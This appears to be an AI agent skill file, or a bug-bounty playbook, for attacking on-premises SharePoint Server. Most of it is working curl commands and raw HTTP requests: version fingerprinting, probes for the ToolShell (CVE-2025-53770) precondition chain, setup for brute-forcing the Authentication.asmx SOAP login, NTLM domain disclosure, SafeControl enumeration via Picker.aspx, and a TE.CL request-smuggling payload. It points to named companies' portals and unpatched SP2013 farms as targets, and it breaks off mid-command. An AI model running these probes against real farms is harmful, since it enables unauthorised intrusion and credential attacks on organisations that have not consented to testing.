hunt-sharepoint skill

Crown Jewel Targets

SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:

1. End-of-life unpatched code paths. SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build 15.0.5545.1000 / KB5002381). Every SharePoint CVE published after that date is permanently unpatched on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
2. CVE-2025-53770 / 53771 "ToolShell" — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous /layouts/15/ToolPane.aspx?DisplayMode=Edit + anonymous REQUESTDIGEST + unencrypted ViewState) is present in SP2013 too and will never receive a fix.
3. Custom branded login pages forget legacy SOAP login. /vtibin/Authentication.asmx with the Login SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.

Highest-value SharePoint targets:

• SP2013 farms still on the public internet — every CVE since April 2023 is unpatched. Critical-severity findings.
• Dealer / partner / supplier portals built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
• SharePoint farms with anonymous Forms-auth zones — Authentication.asmx becomes anonymously brute-forceable.
• SharePoint inside corporate AD parent forests — NTLM Type-2 leak (see hunt-ntlm-info) discloses the parent forest membership.
• Telerik-integrated SharePoint installations — additional deserialization sinks on top of SP's own.

Asset types that pay most: internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.

Attack Surface Signals

Response-header fingerprints (any one is sufficient — usually multiple co-occur):

SPRequestGuid: <GUID>                           (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)
X-SharePointHealthScore: 0                      (SharePoint specific)
SPIisLatency: <ms>                              (SharePoint internal timing)
SPRequestDuration: <ms>                         (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)
DAV: 1, 2                                       (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=...               (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)

URL / path fingerprints:

/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/                  (some SP2019 / SPE)
/_vti_bin/                     (FrontPage-RPC + SOAP services)
/_vti_pvt/                     (FrontPage-RPC config — usually 403)
/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)
/_api/                         (modern REST API)
/_api/$metadata                (OData metadata — often anonymous + large)
/_api/contextinfo              (FormDigest issuer — POST only)
/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx   (user list — usually 403)
/_layouts/15/start.aspx        (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)
/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx      (logout)
/_layouts/15/error.aspx        (error page — anonymous)

Body signals (in HTML responses):

<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/...");                    (Script-on-demand registration)
var g_initUrl='';                                          (start.aspx MDS state)
__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED=""                                    (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX"                             (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low:                      (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)

Tech-stack signals:

• Server: Microsoft-IIS/10.0 + paths starting with /_layouts/15/ → SharePoint 2013/2016/2019/SE
• AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)
• WWW-Authenticate: NTLM on /_api/web/CurrentUser → dual-auth (Forms + NTLM); use hunt-ntlm-info for AD-topology disclosure
• *.test..tld → test/staging mirror of production SharePoint; data often mirrored from prod

Step-by-Step Hunting Methodology

1. Fingerprint the SharePoint version. Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.

# Method 1: _vti_inf.html (always anonymous, always present)
   curl -sk "https://target.example/_vti_inf.html"
   # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)

   # Method 2: _api/contextinfo POST (anonymous on most farms)
   curl -sk -X POST "https://target.example/_api/contextinfo" \
     -H "Accept: application/json;odata=verbose" \
     | jq -r '.d.GetContextWebInformation.LibraryVersion'
   # → "15.0.5545.1000" (full build number)

   # Method 3: /_layouts/15/start.aspx body
   curl -sk "https://target.example/_layouts/15/start.aspx" \
     | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"

Map to CVE matrix:

1. Anonymous-endpoint matrix probe. Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.

/_vti_inf.html                                          → version disclosure
   /_layouts/15/start.aspx                                 → version disclosure + session minting
   /_layouts/15/blank.htm                                  → benign anchor for smuggling probes
   /_layouts/15/error.aspx                                 → request-validator behaviour probe
   /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
   /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
   /_layouts/15/SignOut.aspx                               → logout — anonymous OK
   /_layouts/15/closeConnection.aspx                       → anonymous OK
   /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
   /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
   /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
   /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
   /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)

1. Legacy SOAP login bypass via Authentication.asmx. Cross-reference hunt-auth-bypass Legacy-Protocol Matrix. The standard probe:

# First: confirm Mode = Forms (else this attack vector is N/A)
   curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
     -H "Content-Type: text/xml; charset=utf-8" \
     -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
     -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
   # → <ModeResult>Forms</ModeResult>  ← target is exploitable
   # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A

   # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
   # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
   # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface

Severity: Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the unbounded credential validation is the bug, not "I cracked X credential."

1. ToolShell precondition chain probe (CVE-2025-53770 class). Three sub-requests:

# Sub-step a: anonymous GET on ToolPane.aspx
   curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
   # Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
   # If both: precondition stack is anonymous-reachable.

   # Sub-step b: anonymous POST to /_api/contextinfo
   curl -sk -X POST "https://target.example/_api/contextinfo" \
     -H "Accept: application/json;odata=verbose" \
     | jq -r '.d.GetContextWebInformation.FormDigestValue'
   # Should return a valid digest with 1800s validity.

   # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
   curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
     -H "X-RequestDigest: <digest from step b>" \
     --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
   # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.

Severity: Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if __VIEWSTATEENCRYPTED is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).

IMPORTANT: Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed __VIEWSTATE for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.

1. NTLM Type-2 AD topology disclosure. Cross-reference hunt-ntlm-info for full methodology. Quick check:

# Use Burp send_http1_request with keep-alive, or Python raw socket
   # Anonymous Type-1 with NetBIOS-info request flag:
   #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
   # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name

Severity: Medium when chained with internet exposure + default WIN-XXXXXXXXXXX hostname; Informational otherwise.

1. SafeControl enumeration via Picker.aspx. Picker.aspx differentiates two error states by class existence:

• Type EXISTS but not whitelisted: "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
• Type DOES NOT exist: "Could not load type '' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."

Feed a wordlist of Microsoft.SharePoint..WebControls. and Microsoft.SharePoint.WebPartPages.* types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.

for cls in \
     "Microsoft.SharePoint.WebControls.PeopleEditor" \
     "Microsoft.SharePoint.WebControls.ItemPicker" \
     "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
     ; do
     curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
       | grep -oE "<title>[^<]+</title>"
   done

1. download.aspx is NOT outbound SSRF — recognize and don't waste time. SP's /layouts/15/download.aspx?SourceUrl= is an SP-internal path resolver**, not a generic URL fetcher. Behaviours:

• External URL (http://evil.example.com/x) → 500 with "The Web application at could not be found" — server tried to resolve as an SP web app, didn't fetch.
• Same-origin file URL → 500 with "0x81070211...Cannot open file ''" — server tried SPFile.OpenBinary, file not found.
• Files matching the extension blocklist (.ashx, .asmx, .svc, .config) → 500 with "file blocked from this Web site by the server administrators" regardless of whether the file exists.
• file://, UNC paths, gopher://, etc. → 500 with "Value does not fall within the expected range" — URL-scheme validator rejects.

The error-message URL echo is NOT confirmation of SSRF. Confirm via Burp Collaborator OOB before claiming. (Cross-reference hunt-ssrf OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.

The extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.

1. Custom-branding module enumeration. Customer-customised SP installations almost always have a /layouts/15// directory tree. Find the name from the login URL (e.g. /layouts/15//pages/login/customlogin.aspx → customer name is ). Then probe:

for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
     curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
       "https://target.example/_layouts/15/CustomerName/$sub/"
     # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
   done

JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper Referer header (some are referer-gated).

1. Search service probe. /api/Search returns a small JSON descriptor anonymously. /api/search/query?querytext='X' returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.

1. Authenticated post-login surfaces (if you have valid credentials):

• /_api/web/Lists — enumerate lists
• /_api/web/SiteUsers — enumerate users
• /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files — file enumeration
• /_layouts/15/people.aspx — user listing
• Custom customer-branded modules — check for IDOR, business logic
• Workflow Services (/api/SP.WorkflowServices.)

Payload & Detection Patterns

Authentication.asmx Login (the canonical brute-force endpoint):

POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
      <username>USERNAME</username>
      <password>PASSWORD</password>
    </Login>
  </soap:Body>
</soap:Envelope>

Response codes:

• NoError → auth success; FedAuth and ... follow
• PasswordNotMatch → auth fail (uniform for non-existent users too — no enum leak via error string)
• 500 + Value cannot be null. Parameter name: userName → empty username

ToolShell precondition reproduction:

# Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition

# Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  | jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."

# Step 3: anon POST ToolPane with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
  --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
  "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
  -w "\ncode=%{http_code} size=%{size_download}\n"

HTTP TE.CL smuggling on AWS ELB + SP IIS back-end (consistent on SP farms behind AWS ELB):

POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15

x=1
0

Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (Transfer-Encoding : chunked, transfer-encoding: chunked, trailing-space, mixed-case) produce a similar ~6 s hang.

Picker.aspx SafeControl recon:

curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.ShareP